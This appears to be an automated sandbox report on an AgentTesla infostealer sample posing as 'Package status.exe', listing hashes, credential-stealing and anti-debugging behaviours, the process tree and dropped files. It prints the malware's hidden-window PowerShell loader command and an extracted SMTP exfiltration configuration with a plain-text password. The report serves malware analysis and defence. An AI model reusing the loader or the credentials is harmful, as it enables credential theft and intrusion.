Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-06-2024 14:36

General

  • Target

    Package status.exe

  • Size

    810KB

  • MD5

    f7f038db9cf8b30eedadbd0e1bd06475

  • SHA1

    183a7e4912252c912340580478a756449d420c18

  • SHA256

    1c4bde8818c2caac1ea5d08697561d52e4f977a31f648ef55fe54f13efe572e1

  • SHA512

    43ce6cce5d06b7317b524689610b9154ffb2d7b16a55328321b19eb4baba9fb793f46e6d4e2ca582cfa5c5b7d7627e59cbd1860169efa31f4eadae3155322d1e

  • SSDEEP

    12288:NX8AAopS5s7Prs1K9qjmF7UC5xkd56/iS3xwWaoSOs9BOvLcajeUoZe3xn7dhLO3:18N56/iS3Dao55LTue3xn7d3sCDPa7l

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.gmail.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    vjru ncjq zilj zxwk

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Package status.exe
    "C:\Users\Admin\AppData\Local\Temp\Package status.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$corabecan=Get-Content 'C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Antesunrise.Ski';$kitningers=$corabecan.SubString(12628,3);.$kitningers($corabecan)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:440
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
        3⤵
          PID:4376
        • C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe
          "C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe"
          3⤵
          • Loads dropped DLL
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4784

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe

      Filesize

      810KB

      MD5

      f7f038db9cf8b30eedadbd0e1bd06475

      SHA1

      183a7e4912252c912340580478a756449d420c18

      SHA256

      1c4bde8818c2caac1ea5d08697561d52e4f977a31f648ef55fe54f13efe572e1

      SHA512

      43ce6cce5d06b7317b524689610b9154ffb2d7b16a55328321b19eb4baba9fb793f46e6d4e2ca582cfa5c5b7d7627e59cbd1860169efa31f4eadae3155322d1e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_andvq1ih.q3d.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Antesunrise.Ski

      Filesize

      69KB

      MD5

      95c71503bc640705b0973b75d1249e2b

      SHA1

      44a3114402114ed571c9920eebf2a2c938c7e9c3

      SHA256

      9c8314a2876644dff91652aefd829835e8700d7cd00d4a2f24173c29f9532dae

      SHA512

      4512060a616f79bfaa62c3837a2ae68f798f1bb54d63e037b432b79a720fba3fb0c9b48409f22473ff63a7a21a37eb6e119f9eaa05521d40b7bfb771b66e4808

    • C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Cerebrogalactose140.Mae

      Filesize

      314KB

      MD5

      21282b210d55b15aa4083674e5b769eb

      SHA1

      425367906b18c625a6d6182c42ed67ece27b5262

      SHA256

      410339e0545e9ee17cf941a8f41b371917495b0811b0b4796c259710a83671c2

      SHA512

      c6dae5cb93db9ec7b7f125c38e0a95887c9a3e9344d7da046162f08184e9bedae80fe18c6aea2dd98c36b6cd27726d189d341426fbda0ce3f05c58a09cd7e67e

    • memory/440-35-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-36-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-15-0x0000000004BE0000-0x0000000004C46000-memory.dmp

      Filesize

      408KB

    • memory/440-14-0x0000000004B70000-0x0000000004BD6000-memory.dmp

      Filesize

      408KB

    • memory/440-16-0x00000000053B0000-0x0000000005704000-memory.dmp

      Filesize

      3.3MB

    • memory/440-10-0x0000000004D80000-0x00000000053A8000-memory.dmp

      Filesize

      6.2MB

    • memory/440-26-0x0000000005A90000-0x0000000005AAE000-memory.dmp

      Filesize

      120KB

    • memory/440-27-0x0000000005AB0000-0x0000000005AFC000-memory.dmp

      Filesize

      304KB

    • memory/440-28-0x0000000006A40000-0x0000000006AD6000-memory.dmp

      Filesize

      600KB

    • memory/440-29-0x0000000005FC0000-0x0000000005FDA000-memory.dmp

      Filesize

      104KB

    • memory/440-30-0x0000000006010000-0x0000000006032000-memory.dmp

      Filesize

      136KB

    • memory/440-31-0x0000000007090000-0x0000000007634000-memory.dmp

      Filesize

      5.6MB

    • memory/440-11-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-33-0x0000000007CC0000-0x000000000833A000-memory.dmp

      Filesize

      6.5MB

    • memory/440-8-0x000000007417E000-0x000000007417F000-memory.dmp

      Filesize

      4KB

    • memory/440-13-0x0000000004AD0000-0x0000000004AF2000-memory.dmp

      Filesize

      136KB

    • memory/440-37-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-12-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-39-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-40-0x0000000008340000-0x000000000C070000-memory.dmp

      Filesize

      61.2MB

    • memory/440-41-0x000000007417E000-0x000000007417F000-memory.dmp

      Filesize

      4KB

    • memory/440-42-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-44-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-46-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-47-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/440-9-0x0000000002560000-0x0000000002596000-memory.dmp

      Filesize

      216KB

    • memory/4784-50-0x0000000000490000-0x00000000016E4000-memory.dmp

      Filesize

      18.3MB

    • memory/4784-51-0x0000000000490000-0x00000000004D4000-memory.dmp

      Filesize

      272KB

    • memory/4784-53-0x0000000024740000-0x0000000024790000-memory.dmp

      Filesize

      320KB

    • memory/4784-54-0x0000000024790000-0x000000002482C000-memory.dmp

      Filesize

      624KB

    • memory/4784-55-0x00000000248D0000-0x0000000024962000-memory.dmp

      Filesize

      584KB

    • memory/4784-56-0x00000000249C0000-0x00000000249CA000-memory.dmp

      Filesize

      40KB